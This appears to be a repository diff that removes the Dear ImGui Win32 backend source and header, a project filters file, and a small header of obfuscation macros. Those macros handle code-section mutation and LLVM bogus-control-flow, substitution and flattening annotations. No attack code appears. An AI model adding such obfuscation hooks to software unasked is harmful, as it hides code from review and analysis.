#ifndef IMGUI_IMPL_WIN32_DISABLE_GAMEPAD
|
||||
static HMODULE g_XInputDLL = NULL;
|
||||
static PFN_XInputGetCapabilities g_XInputGetCapabilities = NULL;
|
||||
static PFN_XInputGetState g_XInputGetState = NULL;
|
||||
#endif
|
||||
|
||||
// Functions
|
||||
bool ImGui_ImplWin32_Init(void* hwnd)
|
||||
{
|
||||
if (!::QueryPerformanceFrequency((LARGE_INTEGER*)&g_TicksPerSecond))
|
||||
return false;
|
||||
if (!::QueryPerformanceCounter((LARGE_INTEGER*)&g_Time))
|
||||
return false;
|
||||
|
||||
// Setup backend capabilities flags
|
||||
g_hWnd = (HWND)hwnd;
|
||||
ImGuiIO& io = ImGui::GetIO();
|
||||
io.BackendFlags |= ImGuiBackendFlags_HasMouseCursors; // We can honor GetMouseCursor() values (optional)
|
||||
io.BackendFlags |= ImGuiBackendFlags_HasSetMousePos; // We can honor io.WantSetMousePos requests (optional, rarely used)
|
||||
io.BackendPlatformName = "imgui_impl_win32";
|
||||
io.ImeWindowHandle = hwnd;
|
||||
|
||||
// Keyboard mapping. Dear ImGui will use those indices to peek into the io.KeysDown[] array that we will update during the application lifetime.
|
||||
io.KeyMap[ImGuiKey_Tab] = VK_TAB;
|
||||
io.KeyMap[ImGuiKey_LeftArrow] = VK_LEFT;
|
||||
io.KeyMap[ImGuiKey_RightArrow] = VK_RIGHT;
|
||||
io.KeyMap[ImGuiKey_UpArrow] = VK_UP;
|
||||
io.KeyMap[ImGuiKey_DownArrow] = VK_DOWN;
|
||||
io.KeyMap[ImGuiKey_PageUp] = VK_PRIOR;
|
||||
io.KeyMap[ImGuiKey_PageDown] = VK_NEXT;
|
||||
io.KeyMap[ImGuiKey_Home] = VK_HOME;
|
||||
io.KeyMap[ImGuiKey_End] = VK_END;
|
||||
io.KeyMap[ImGuiKey_Insert] = VK_INSERT;
|
||||
io.KeyMap[ImGuiKey_Delete] = VK_DELETE;
|
||||
io.KeyMap[ImGuiKey_Backspace] = VK_BACK;
|
||||
io.KeyMap[ImGuiKey_Space] = VK_SPACE;
|
||||
io.KeyMap[ImGuiKey_Enter] = VK_RETURN;
|
||||
io.KeyMap[ImGuiKey_Escape] = VK_ESCAPE;
|
||||
io.KeyMap[ImGuiKey_KeyPadEnter] = VK_RETURN;
|
||||
io.KeyMap[ImGuiKey_A] = 'A';
|
||||
io.KeyMap[ImGuiKey_C] = 'C';
|
||||
io.KeyMap[ImGuiKey_V] = 'V';
|
||||
io.KeyMap[ImGuiKey_X] = 'X';
|
||||
io.KeyMap[ImGuiKey_Y] = 'Y';
|
||||
io.KeyMap[ImGuiKey_Z] = 'Z';
|
||||
|
||||
// Dynamically load XInput library
|
||||
#ifndef IMGUI_IMPL_WIN32_DISABLE_GAMEPAD
|
||||
const char* xinput_dll_names[] =
|
||||
{
|
||||
"xinput1_4.dll", // Windows 8+
|
||||
"xinput1_3.dll", // DirectX SDK
|
||||
"xinput9_1_0.dll", // Windows Vista, Windows 7
|
||||
"xinput1_2.dll", // DirectX SDK
|
||||
"xinput1_1.dll" // DirectX SDK
|
||||
};
|
||||
for (int n = 0; n < IM_ARRAYSIZE(xinput_dll_names); n++)
|
||||
if (HMODULE dll = ::LoadLibraryA(xinput_dll_names[n]))
|
||||
{
|
||||
g_XInputDLL = dll;
|
||||
g_XInputGetCapabilities = (PFN_XInputGetCapabilities)::GetProcAddress(dll, "XInputGetCapabilities");
|
||||
g_XInputGetState = (PFN_XInputGetState)::GetProcAddress(dll, "XInputGetState");
|
||||
break;
|
||||
}
|
||||
#endif // IMGUI_IMPL_WIN32_DISABLE_GAMEPAD
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
void ImGui_ImplWin32_Shutdown()
|
||||
{
|
||||
// Unload XInput library
|
||||
#ifndef IMGUI_IMPL_WIN32_DISABLE_GAMEPAD
|
||||
if (g_XInputDLL)
|
||||
::FreeLibrary(g_XInputDLL);
|
||||
g_XInputDLL = NULL;
|
||||
g_XInputGetCapabilities = NULL;
|
||||
g_XInputGetState = NULL;
|
||||
#endif // IMGUI_IMPL_WIN32_DISABLE_GAMEPAD
|
||||
|
||||
g_hWnd = NULL;
|
||||
g_Time = 0;
|
||||
g_TicksPerSecond = 0;
|
||||
g_LastMouseCursor = ImGuiMouseCursor_COUNT;
|
||||
g_HasGamepad = false;
|
||||
g_WantUpdateHasGamepad = true;
|
||||
}
|
||||
|
||||
static bool ImGui_ImplWin32_UpdateMouseCursor()
|
||||
{
|
||||
ImGuiIO& io = ImGui::GetIO();
|
||||
if (io.ConfigFlags & ImGuiConfigFlags_NoMouseCursorChange)
|
||||
return false;
|
||||
|
||||
ImGuiMouseCursor imgui_cursor = ImGui::GetMouseCursor();
|
||||
if (imgui_cursor == ImGuiMouseCursor_None || io.MouseDrawCursor)
|
||||
{
|
||||
// Hide OS mouse cursor if imgui is drawing it or if it wants no cursor
|
||||
::SetCursor(NULL);
|
||||
}
|
||||
else
|
||||
{
|
||||
// Show OS mouse cursor
|
||||
LPTSTR win32_cursor = IDC_ARROW;
|
||||
switch (imgui_cursor)
|
||||
{
|
||||
case ImGuiMouseCursor_Arrow: win32_cursor = IDC_ARROW; break;
|
||||
case ImGuiMouseCursor_TextInput: win32_cursor = IDC_IBEAM; break;
|
||||
case ImGuiMouseCursor_ResizeAll: win32_cursor = IDC_SIZEALL; break;
|
||||
case ImGuiMouseCursor_ResizeEW: win32_cursor = IDC_SIZEWE; break;
|
||||
case ImGuiMouseCursor_ResizeNS: win32_cursor = IDC_SIZENS; break;
|
||||
case ImGuiMouseCursor_ResizeNESW: win32_cursor = IDC_SIZENESW; break;
|
||||
case ImGuiMouseCursor_ResizeNWSE: win32_cursor = IDC_SIZENWSE; break;
|
||||
case ImGuiMouseCursor_Hand: win32_cursor = IDC_HAND; break;
|
||||
case ImGuiMouseCursor_NotAllowed: win32_cursor = IDC_NO; break;
|
||||
}
|
||||
::SetCursor(::LoadCursor(NULL, win32_cursor));
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
static void ImGui_ImplWin32_UpdateMousePos()
|
||||
{
|
||||
ImGuiIO& io = ImGui::GetIO();
|
||||
|
||||
// Set OS mouse position if requested (rarely used, only when ImGuiConfigFlags_NavEnableSetMousePos is enabled by user)
|
||||
if (io.WantSetMousePos)
|
||||
{
|
||||
POINT pos = { (int)io.MousePos.x, (int)io.MousePos.y };
|
||||
if (::ClientToScreen(g_hWnd, &pos))
|
||||
::SetCursorPos(pos.x, pos.y);
|
||||
}
|
||||
|
||||
// Set mouse position
|
||||
io.MousePos = ImVec2(-FLT_MAX, -FLT_MAX);
|
||||
POINT pos;
|
||||
if (HWND active_window = ::GetForegroundWindow())
|
||||
if (active_window == g_hWnd || ::IsChild(active_window, g_hWnd))
|
||||
if (::GetCursorPos(&pos) && ::ScreenToClient(g_hWnd, &pos))
|
||||
io.MousePos = ImVec2((float)pos.x, (float)pos.y);
|
||||
}
|
||||
|
||||
// Gamepad navigation mapping
|
||||
static void ImGui_ImplWin32_UpdateGamepads()
|
||||
{
|
||||
#ifndef IMGUI_IMPL_WIN32_DISABLE_GAMEPAD
|
||||
ImGuiIO& io = ImGui::GetIO();
|
||||
memset(io.NavInputs, 0, sizeof(io.NavInputs));
|
||||
if ((io.ConfigFlags & ImGuiConfigFlags_NavEnableGamepad) == 0)
|
||||
return;
|
||||
|
||||
// Calling XInputGetState() every frame on disconnected gamepads is unfortunately too slow.
|
||||
// Instead we refresh gamepad availability by calling XInputGetCapabilities() _only_ after receiving WM_DEVICECHANGE.
|
||||
if (g_WantUpdateHasGamepad)
|
||||
{
|
||||
XINPUT_CAPABILITIES caps;
|
||||
g_HasGamepad = g_XInputGetCapabilities ? (g_XInputGetCapabilities(0, XINPUT_FLAG_GAMEPAD, &caps) == ERROR_SUCCESS) : false;
|
||||
g_WantUpdateHasGamepad = false;
|
||||
}
|
||||
|
||||
io.BackendFlags &= ~ImGuiBackendFlags_HasGamepad;
|
||||
XINPUT_STATE xinput_state;
|
||||
if (g_HasGamepad && g_XInputGetState && g_XInputGetState(0, &xinput_state) == ERROR_SUCCESS)
|
||||
{
|
||||
const XINPUT_GAMEPAD& gamepad = xinput_state.Gamepad;
|
||||
io.BackendFlags |= ImGuiBackendFlags_HasGamepad;
|
||||
|
||||
#define MAP_BUTTON(NAV_NO, BUTTON_ENUM) { io.NavInputs[NAV_NO] = (gamepad.wButtons & BUTTON_ENUM) ? 1.0f : 0.0f; }
|
||||
#define MAP_ANALOG(NAV_NO, VALUE, V0, V1) { float vn = (float)(VALUE - V0) / (float)(V1 - V0); if (vn > 1.0f) vn = 1.0f; if (vn > 0.0f && io.NavInputs[NAV_NO] < vn) io.NavInputs[NAV_NO] = vn; }
|
||||
MAP_BUTTON(ImGuiNavInput_Activate, XINPUT_GAMEPAD_A); // Cross / A
|
||||
MAP_BUTTON(ImGuiNavInput_Cancel, XINPUT_GAMEPAD_B); // Circle / B
|
||||
MAP_BUTTON(ImGuiNavInput_Menu, XINPUT_GAMEPAD_X); // Square / X
|
||||
MAP_BUTTON(ImGuiNavInput_Input, XINPUT_GAMEPAD_Y); // Triangle / Y
|
||||
MAP_BUTTON(ImGuiNavInput_DpadLeft, XINPUT_GAMEPAD_DPAD_LEFT); // D-Pad Left
|
||||
MAP_BUTTON(ImGuiNavInput_DpadRight, XINPUT_GAMEPAD_DPAD_RIGHT); // D-Pad Right
|
||||
MAP_BUTTON(ImGuiNavInput_DpadUp, XINPUT_GAMEPAD_DPAD_UP); // D-Pad Up
|
||||
MAP_BUTTON(ImGuiNavInput_DpadDown, XINPUT_GAMEPAD_DPAD_DOWN); // D-Pad Down
|
||||
MAP_BUTTON(ImGuiNavInput_FocusPrev, XINPUT_GAMEPAD_LEFT_SHOULDER); // L1 / LB
|
||||
MAP_BUTTON(ImGuiNavInput_FocusNext, XINPUT_GAMEPAD_RIGHT_SHOULDER); // R1 / RB
|
||||
MAP_BUTTON(ImGuiNavInput_TweakSlow, XINPUT_GAMEPAD_LEFT_SHOULDER); // L1 / LB
|
||||
MAP_BUTTON(ImGuiNavInput_TweakFast, XINPUT_GAMEPAD_RIGHT_SHOULDER); // R1 / RB
|
||||
MAP_ANALOG(ImGuiNavInput_LStickLeft, gamepad.sThumbLX, -XINPUT_GAMEPAD_LEFT_THUMB_DEADZONE, -32768);
|
||||
MAP_ANALOG(ImGuiNavInput_LStickRight, gamepad.sThumbLX, +XINPUT_GAMEPAD_LEFT_THUMB_DEADZONE, +32767);
|
||||
MAP_ANALOG(ImGuiNavInput_LStickUp, gamepad.sThumbLY, +XINPUT_GAMEPAD_LEFT_THUMB_DEADZONE, +32767);
|
||||
MAP_ANALOG(ImGuiNavInput_LStickDown, gamepad.sThumbLY, -XINPUT_GAMEPAD_LEFT_THUMB_DEADZONE, -32767);
|
||||
#undef MAP_BUTTON
|
||||
#undef MAP_ANALOG
|
||||
}
|
||||
#endif // #ifndef IMGUI_IMPL_WIN32_DISABLE_GAMEPAD
|
||||
}
|
||||
|
||||
void ImGui_ImplWin32_NewFrame()
|
||||
{
|
||||
ImGuiIO& io = ImGui::GetIO();
|
||||
IM_ASSERT(io.Fonts->IsBuilt() && "Font atlas not built! It is generally built by the renderer backend. Missing call to renderer _NewFrame() function? e.g. ImGui_ImplOpenGL3_NewFrame().");
|
||||
|
||||
// Setup display size (every frame to accommodate for window resizing)
|
||||
RECT rect = { 0, 0, 0, 0 };
|
||||
::GetClientRect(g_hWnd, &rect);
|
||||
io.DisplaySize = ImVec2((float)(rect.right - rect.left), (float)(rect.bottom - rect.top));
|
||||
|
||||
// Setup time step
|
||||
INT64 current_time = 0;
|
||||
::QueryPerformanceCounter((LARGE_INTEGER*)¤t_time);
|
||||
io.DeltaTime = (float)(current_time - g_Time) / g_TicksPerSecond;
|
||||
g_Time = current_time;
|
||||
|
||||
// Read keyboard modifiers inputs
|
||||
io.KeyCtrl = (::GetKeyState(VK_CONTROL) & 0x8000) != 0;
|
||||
io.KeyShift = (::GetKeyState(VK_SHIFT) & 0x8000) != 0;
|
||||
io.KeyAlt = (::GetKeyState(VK_MENU) & 0x8000) != 0;
|
||||
io.KeySuper = false;
|
||||
// io.KeysDown[], io.MousePos, io.MouseDown[], io.MouseWheel: filled by the WndProc handler below.
|
||||
|
||||
// Update OS mouse position
|
||||
ImGui_ImplWin32_UpdateMousePos();
|
||||
|
||||
// Update OS mouse cursor with the cursor requested by imgui
|
||||
ImGuiMouseCursor mouse_cursor = io.MouseDrawCursor ? ImGuiMouseCursor_None : ImGui::GetMouseCursor();
|
||||
if (g_LastMouseCursor != mouse_cursor)
|
||||
{
|
||||
g_LastMouseCursor = mouse_cursor;
|
||||
ImGui_ImplWin32_UpdateMouseCursor();
|
||||
}
|
||||
|
||||
// Update game controllers (if enabled and available)
|
||||
ImGui_ImplWin32_UpdateGamepads();
|
||||
}
|
||||
|
||||
// Allow compilation with old Windows SDK. MinGW doesn't have default _WIN32_WINNT/WINVER versions.
|
||||
#ifndef WM_MOUSEHWHEEL
|
||||
#define WM_MOUSEHWHEEL 0x020E
|
||||
#endif
|
||||
#ifndef DBT_DEVNODES_CHANGED
|
||||
#define DBT_DEVNODES_CHANGED 0x0007
|
||||
#endif
|
||||
|
||||
// Win32 message handler (process Win32 mouse/keyboard inputs, etc.)
|
||||
// Call from your application's message handler.
|
||||
// When implementing your own backend, you can read the io.WantCaptureMouse, io.WantCaptureKeyboard flags to tell if Dear ImGui wants to use your inputs.
|
||||
// - When io.WantCaptureMouse is true, do not dispatch mouse input data to your main application.
|
||||
// - When io.WantCaptureKeyboard is true, do not dispatch keyboard input data to your main application.
|
||||
// Generally you may always pass all inputs to Dear ImGui, and hide them from your application based on those two flags.
|
||||
// PS: In this Win32 handler, we use the capture API (GetCapture/SetCapture/ReleaseCapture) to be able to read mouse coordinates when dragging mouse outside of our window bounds.
|
||||
// PS: We treat DBLCLK messages as regular mouse down messages, so this code will work on windows classes that have the CS_DBLCLKS flag set. Our own example app code doesn't set this flag.
|
||||
#if 0
|
||||
// Copy this line into your .cpp file to forward declare the function.
|
||||
extern IMGUI_IMPL_API LRESULT ImGui_ImplWin32_WndProcHandler(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam);
|
||||
#endif
|
||||
IMGUI_IMPL_API LRESULT ImGui_ImplWin32_WndProcHandler(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)
|
||||
{
|
||||
if (ImGui::GetCurrentContext() == NULL)
|
||||
return 0;
|
||||
|
||||
ImGuiIO& io = ImGui::GetIO();
|
||||
switch (msg)
|
||||
{
|
||||
case WM_LBUTTONDOWN: case WM_LBUTTONDBLCLK:
|
||||
case WM_RBUTTONDOWN: case WM_RBUTTONDBLCLK:
|
||||
case WM_MBUTTONDOWN: case WM_MBUTTONDBLCLK:
|
||||
case WM_XBUTTONDOWN: case WM_XBUTTONDBLCLK:
|
||||
{
|
||||
int button = 0;
|
||||
if (msg == WM_LBUTTONDOWN || msg == WM_LBUTTONDBLCLK) { button = 0; }
|
||||
if (msg == WM_RBUTTONDOWN || msg == WM_RBUTTONDBLCLK) { button = 1; }
|
||||
if (msg == WM_MBUTTONDOWN || msg == WM_MBUTTONDBLCLK) { button = 2; }
|
||||
if (msg == WM_XBUTTONDOWN || msg == WM_XBUTTONDBLCLK) { button = (GET_XBUTTON_WPARAM(wParam) == XBUTTON1) ? 3 : 4; }
|
||||
if (!ImGui::IsAnyMouseDown() && ::GetCapture() == NULL)
|
||||
::SetCapture(hwnd);
|
||||
io.MouseDown[button] = true;
|
||||
return 0;
|
||||
}
|
||||
case WM_LBUTTONUP:
|
||||
case WM_RBUTTONUP:
|
||||
case WM_MBUTTONUP:
|
||||
case WM_XBUTTONUP:
|
||||
{
|
||||
int button = 0;
|
||||
if (msg == WM_LBUTTONUP) { button = 0; }
|
||||
if (msg == WM_RBUTTONUP) { button = 1; }
|
||||
if (msg == WM_MBUTTONUP) { button = 2; }
|
||||
if (msg == WM_XBUTTONUP) { button = (GET_XBUTTON_WPARAM(wParam) == XBUTTON1) ? 3 : 4; }
|
||||
io.MouseDown[button] = false;
|
||||
if (!ImGui::IsAnyMouseDown() && ::GetCapture() == hwnd)
|
||||
::ReleaseCapture();
|
||||
return 0;
|
||||
}
|
||||
case WM_MOUSEWHEEL:
|
||||
io.MouseWheel += (float)GET_WHEEL_DELTA_WPARAM(wParam) / (float)WHEEL_DELTA;
|
||||
return 0;
|
||||
case WM_MOUSEHWHEEL:
|
||||
io.MouseWheelH += (float)GET_WHEEL_DELTA_WPARAM(wParam) / (float)WHEEL_DELTA;
|
||||
return 0;
|
||||
case WM_KEYDOWN:
|
||||
case WM_SYSKEYDOWN:
|
||||
if (wParam < 256)
|
||||
io.KeysDown[wParam] = 1;
|
||||
return 0;
|
||||
case WM_KEYUP:
|
||||
case WM_SYSKEYUP:
|
||||
if (wParam < 256)
|
||||
io.KeysDown[wParam] = 0;
|
||||
return 0;
|
||||
case WM_CHAR:
|
||||
// You can also use ToAscii()+GetKeyboardState() to retrieve characters.
|
||||
if (wParam > 0 && wParam < 0x10000)
|
||||
io.AddInputCharacterUTF16((unsigned short)wParam);
|
||||
return 0;
|
||||
case WM_SETCURSOR:
|
||||
if (LOWORD(lParam) == HTCLIENT && ImGui_ImplWin32_UpdateMouseCursor())
|
||||
return 1;
|
||||
return 0;
|
||||
case WM_DEVICECHANGE:
|
||||
if ((UINT)wParam == DBT_DEVNODES_CHANGED)
|
||||
g_WantUpdateHasGamepad = true;
|
||||
return 0;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
//--------------------------------------------------------------------------------------------------------
|
||||
// DPI-related helpers (optional)
|
||||
//--------------------------------------------------------------------------------------------------------
|
||||
// - Use to enable DPI awareness without having to create an application manifest.
|
||||
// - Your own app may already do this via a manifest or explicit calls. This is mostly useful for our examples/ apps.
|
||||
// - In theory we could call simple functions from Windows SDK such as SetProcessDPIAware(), SetProcessDpiAwareness(), etc.
|
||||
// but most of the functions provided by Microsoft require Windows 8.1/10+ SDK at compile time and Windows 8/10+ at runtime,
|
||||
// neither we want to require the user to have. So we dynamically select and load those functions to avoid dependencies.
|
||||
//---------------------------------------------------------------------------------------------------------
|
||||
// This is the scheme successfully used by GLFW (from which we borrowed some of the code) and other apps aiming to be highly portable.
|
||||
// ImGui_ImplWin32_EnableDpiAwareness() is just a helper called by main.cpp, we don't call it automatically.
|
||||
// If you are trying to implement your own backend for your own engine, you may ignore that noise.
|
||||
//---------------------------------------------------------------------------------------------------------
|
||||
|
||||
// Implement some of the functions and types normally declared in recent Windows SDK.
|
||||
#if !defined(_versionhelpers_H_INCLUDED_) && !defined(_INC_VERSIONHELPERS)
|
||||
static BOOL IsWindowsVersionOrGreater(WORD major, WORD minor, WORD sp)
|
||||
{
|
||||
OSVERSIONINFOEXW osvi = { sizeof(osvi), major, minor, 0, 0, { 0 }, sp, 0, 0, 0, 0 };
|
||||
DWORD mask = VER_MAJORVERSION | VER_MINORVERSION | VER_SERVICEPACKMAJOR;
|
||||
ULONGLONG cond = ::VerSetConditionMask(0, VER_MAJORVERSION, VER_GREATER_EQUAL);
|
||||
cond = ::VerSetConditionMask(cond, VER_MINORVERSION, VER_GREATER_EQUAL);
|
||||
cond = ::VerSetConditionMask(cond, VER_SERVICEPACKMAJOR, VER_GREATER_EQUAL);
|
||||
return ::VerifyVersionInfoW(&osvi, mask, cond);
|
||||
}
|
||||
#define IsWindowsVistaOrGreater() IsWindowsVersionOrGreater(HIBYTE(0x0600), LOBYTE(0x0600), 0) // _WIN32_WINNT_VISTA
|
||||
#define IsWindows8OrGreater() IsWindowsVersionOrGreater(HIBYTE(0x0602), LOBYTE(0x0602), 0) // _WIN32_WINNT_WIN8
|
||||
#define IsWindows8Point1OrGreater() IsWindowsVersionOrGreater(HIBYTE(0x0603), LOBYTE(0x0603), 0) // _WIN32_WINNT_WINBLUE
|
||||
#endif
|
||||
|
||||
#ifndef DPI_ENUMS_DECLARED
|
||||
typedef enum { PROCESS_DPI_UNAWARE = 0, PROCESS_SYSTEM_DPI_AWARE = 1, PROCESS_PER_MONITOR_DPI_AWARE = 2 } PROCESS_DPI_AWARENESS;
|
||||
typedef enum { MDT_EFFECTIVE_DPI = 0, MDT_ANGULAR_DPI = 1, MDT_RAW_DPI = 2, MDT_DEFAULT = MDT_EFFECTIVE_DPI } MONITOR_DPI_TYPE;
|
||||
#endif
|
||||
#ifndef _DPI_AWARENESS_CONTEXTS_
|
||||
DECLARE_HANDLE(DPI_AWARENESS_CONTEXT);
|
||||
#define DPI_AWARENESS_CONTEXT_PER_MONITOR_AWARE (DPI_AWARENESS_CONTEXT)-3
|
||||
#endif
|
||||
#ifndef DPI_AWARENESS_CONTEXT_PER_MONITOR_AWARE_V2
|
||||
#define DPI_AWARENESS_CONTEXT_PER_MONITOR_AWARE_V2 (DPI_AWARENESS_CONTEXT)-4
|
||||
#endif
|
||||
typedef HRESULT(WINAPI* PFN_SetProcessDpiAwareness)(PROCESS_DPI_AWARENESS); // Shcore.lib + dll, Windows 8.1+
|
||||
typedef HRESULT(WINAPI* PFN_GetDpiForMonitor)(HMONITOR, MONITOR_DPI_TYPE, UINT*, UINT*); // Shcore.lib + dll, Windows 8.1+
|
||||
typedef DPI_AWARENESS_CONTEXT(WINAPI* PFN_SetThreadDpiAwarenessContext)(DPI_AWARENESS_CONTEXT); // User32.lib + dll, Windows 10 v1607+ (Creators Update)
|
||||
|
||||
// Helper function to enable DPI awareness without setting up a manifest
|
||||
void ImGui_ImplWin32_EnableDpiAwareness()
|
||||
{
|
||||
// if (IsWindows10OrGreater()) // This needs a manifest to succeed. Instead we try to grab the function pointer!
|
||||
{
|
||||
static HINSTANCE user32_dll = ::LoadLibraryA("user32.dll"); // Reference counted per-process
|
||||
if (PFN_SetThreadDpiAwarenessContext SetThreadDpiAwarenessContextFn = (PFN_SetThreadDpiAwarenessContext)::GetProcAddress(user32_dll, "SetThreadDpiAwarenessContext"))
|
||||
{
|
||||
SetThreadDpiAwarenessContextFn(DPI_AWARENESS_CONTEXT_PER_MONITOR_AWARE_V2);
|
||||
return;
|
||||
}
|
||||
}
|
||||
if (IsWindows8Point1OrGreater())
|
||||
{
|
||||
static HINSTANCE shcore_dll = ::LoadLibraryA("shcore.dll"); // Reference counted per-process
|
||||
if (PFN_SetProcessDpiAwareness SetProcessDpiAwarenessFn = (PFN_SetProcessDpiAwareness)::GetProcAddress(shcore_dll, "SetProcessDpiAwareness"))
|
||||
{
|
||||
SetProcessDpiAwarenessFn(PROCESS_PER_MONITOR_DPI_AWARE);
|
||||
return;
|
||||
}
|
||||
}
|
||||
#if _WIN32_WINNT >= 0x0600
|
||||
::SetProcessDPIAware();
|
||||
#endif
|
||||
}
|
||||
|
||||
#if defined(_MSC_VER) && !defined(NOGDI)
|
||||
#pragma comment(lib, "gdi32") // Link with gdi32.lib for GetDeviceCaps(). MinGW will require linking with '-lgdi32'
|
||||
#endif
|
||||
|
||||
float ImGui_ImplWin32_GetDpiScaleForMonitor(void* monitor)
|
||||
{
|
||||
UINT xdpi = 96, ydpi = 96;
|
||||
static BOOL bIsWindows8Point1OrGreater = IsWindows8Point1OrGreater();
|
||||
if (bIsWindows8Point1OrGreater)
|
||||
{
|
||||
static HINSTANCE shcore_dll = ::LoadLibraryA("shcore.dll"); // Reference counted per-process
|
||||
if (PFN_GetDpiForMonitor GetDpiForMonitorFn = (PFN_GetDpiForMonitor)::GetProcAddress(shcore_dll, "GetDpiForMonitor"))
|
||||
GetDpiForMonitorFn((HMONITOR)monitor, MDT_EFFECTIVE_DPI, &xdpi, &ydpi);
|
||||
}
|
||||
#ifndef NOGDI
|
||||
else
|
||||
{
|
||||
const HDC dc = ::GetDC(NULL);
|
||||
xdpi = ::GetDeviceCaps(dc, LOGPIXELSX);
|
||||
ydpi = ::GetDeviceCaps(dc, LOGPIXELSY);
|
||||
::ReleaseDC(NULL, dc);
|
||||
}
|
||||
#endif
|
||||
IM_ASSERT(xdpi == ydpi); // Please contact me if you hit this assert!
|
||||
return xdpi / 96.0f;
|
||||
}
|
||||
|
||||
float ImGui_ImplWin32_GetDpiScaleForHwnd(void* hwnd)
|
||||
{
|
||||
HMONITOR monitor = ::MonitorFromWindow((HWND)hwnd, MONITOR_DEFAULTTONEAREST);
|
||||
return ImGui_ImplWin32_GetDpiScaleForMonitor(monitor);
|
||||
}
|
||||
|
||||
//---------------------------------------------------------------------------------------------------------
|
||||
// Transparency related helpers (optional)
|
||||
//--------------------------------------------------------------------------------------------------------
|
||||
|
||||
#if defined(_MSC_VER)
|
||||
#pragma comment(lib, "dwmapi") // Link with dwmapi.lib. MinGW will require linking with '-ldwmapi'
|
||||
#endif
|
||||
//---------------------------------------------------------------------------------------------------------
|
@ -1,42 +0,0 @@
|
||||
// dear imgui: Platform Backend for Windows (standard windows API for 32 and 64 bits applications)
|
||||
// This needs to be used along with a Renderer (e.g. DirectX11, OpenGL3, Vulkan..)
|
||||
|
||||
// Implemented features:
|
||||
// [X] Platform: Clipboard support (for Win32 this is actually part of core dear imgui)
|
||||
// [X] Platform: Mouse cursor shape and visibility. Disable with 'io.ConfigFlags |= ImGuiConfigFlags_NoMouseCursorChange'.
|
||||
// [X] Platform: Keyboard arrays indexed using VK_* Virtual Key Codes, e.g. ImGui::IsKeyPressed(VK_SPACE).
|
||||
// [X] Platform: Gamepad support. Enabled with 'io.ConfigFlags |= ImGuiConfigFlags_NavEnableGamepad'.
|
||||
|
||||
// You can copy and use unmodified imgui_impl_* files in your project. See examples/ folder for examples of using this.
|
||||
// If you are new to Dear ImGui, read documentation from the docs/ folder + read the top of imgui.cpp.
|
||||
// Read online: https://github.com/ocornut/imgui/tree/master/docs
|
||||
|
||||
#pragma once
|
||||
#define WINUSERAPI
|
||||
#define _KERNEL32_
|
||||
#define _ACRTIMP
|
||||
#define _NTSYSTEM_
|
||||
#define _GDI32_
|
||||
|
||||
#include "imgui.h" // IMGUI_IMPL_API
|
||||
|
||||
IMGUI_IMPL_API bool ImGui_ImplWin32_Init(void* hwnd);
|
||||
IMGUI_IMPL_API void ImGui_ImplWin32_Shutdown();
|
||||
IMGUI_IMPL_API void ImGui_ImplWin32_NewFrame();
|
||||
|
||||
// Win32 message handler your application need to call.
|
||||
// - Intentionally commented out in a '#if 0' block to avoid dragging dependencies on <windows.h> from this helper.
|
||||
// - You should COPY the line below into your .cpp code to forward declare the function and then you can call it.
|
||||
#if 0
|
||||
extern IMGUI_IMPL_API LRESULT ImGui_ImplWin32_WndProcHandler(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam);
|
||||
#endif
|
||||
|
||||
// DPI-related helpers (optional)
|
||||
// - Use to enable DPI awareness without having to create an application manifest.
|
||||
// - Your own app may already do this via a manifest or explicit calls. This is mostly useful for our examples/ apps.
|
||||
// - In theory we could call simple functions from Windows SDK such as SetProcessDPIAware(), SetProcessDpiAwareness(), etc.
|
||||
// but most of the functions provided by Microsoft require Windows 8.1/10+ SDK at compile time and Windows 8/10+ at runtime,
|
||||
// neither we want to require the user to have. So we dynamically select and load those functions to avoid dependencies.
|
||||
IMGUI_IMPL_API void ImGui_ImplWin32_EnableDpiAwareness();
|
||||
IMGUI_IMPL_API float ImGui_ImplWin32_GetDpiScaleForHwnd(void* hwnd); // HWND hwnd
|
||||
IMGUI_IMPL_API float ImGui_ImplWin32_GetDpiScaleForMonitor(void* monitor); // HMONITOR monitor
|
@ -1,19 +0,0 @@
|
||||
#pragma once
|
||||
#define WINUSERAPI
|
||||
#define _KERNEL32_
|
||||
#define _ACRTIMP
|
||||
#define NTKERNELAPI
|
||||
|
||||
#define THEO_OBFUSCATE(...) \
|
||||
_Pragma("code_seg(\".theo\")") \
|
||||
__VA_ARGS__ \
|
||||
_Pragma("code_seg()")
|
||||
|
||||
#define THEO_MUTATE(...) \
|
||||
_Pragma("code_seg(\".theo1\")") \
|
||||
__VA_ARGS__ \
|
||||
_Pragma("code_seg()")
|
||||
|
||||
#define LLVM_BCF __attribute((__annotate__(("bcf"))))
|
||||
#define LLVM_SUB __attribute((__annotate__(("sub"))))
|
||||
#define LLVM_FLA __attribute((__annotate__(("fla"))))
|
@ -1,62 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="imgui">
|
||||
<UniqueIdentifier>{0587d7a3-f2ce-4d56-b84f-a0005d3bfce6}</UniqueIdentifier>
|
||||
</Filter>
|
||||
<Filter Include="sources">
|
||||
<UniqueIdentifier>{08e36723-ce4f-4cff-9662-c40801cf1acf}</UniqueIdentifier>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="..\..\imconfig.h">
|
||||
<Filter>imgui</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="..\..\imgui.h">
|
||||
<Filter>imgui</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="..\..\imgui_internal.h">
|
||||
<Filter>imgui</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="..\..\backends\imgui_impl_win32.h">
|
||||
<Filter>sources</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="..\..\backends\imgui_impl_dx11.h">
|
||||
<Filter>sources</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Theodosius.h">
|
||||
<Filter>imgui</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="..\..\imgui.cpp">
|
||||
<Filter>imgui</Filter>
|
||||
</ClCompile>
|
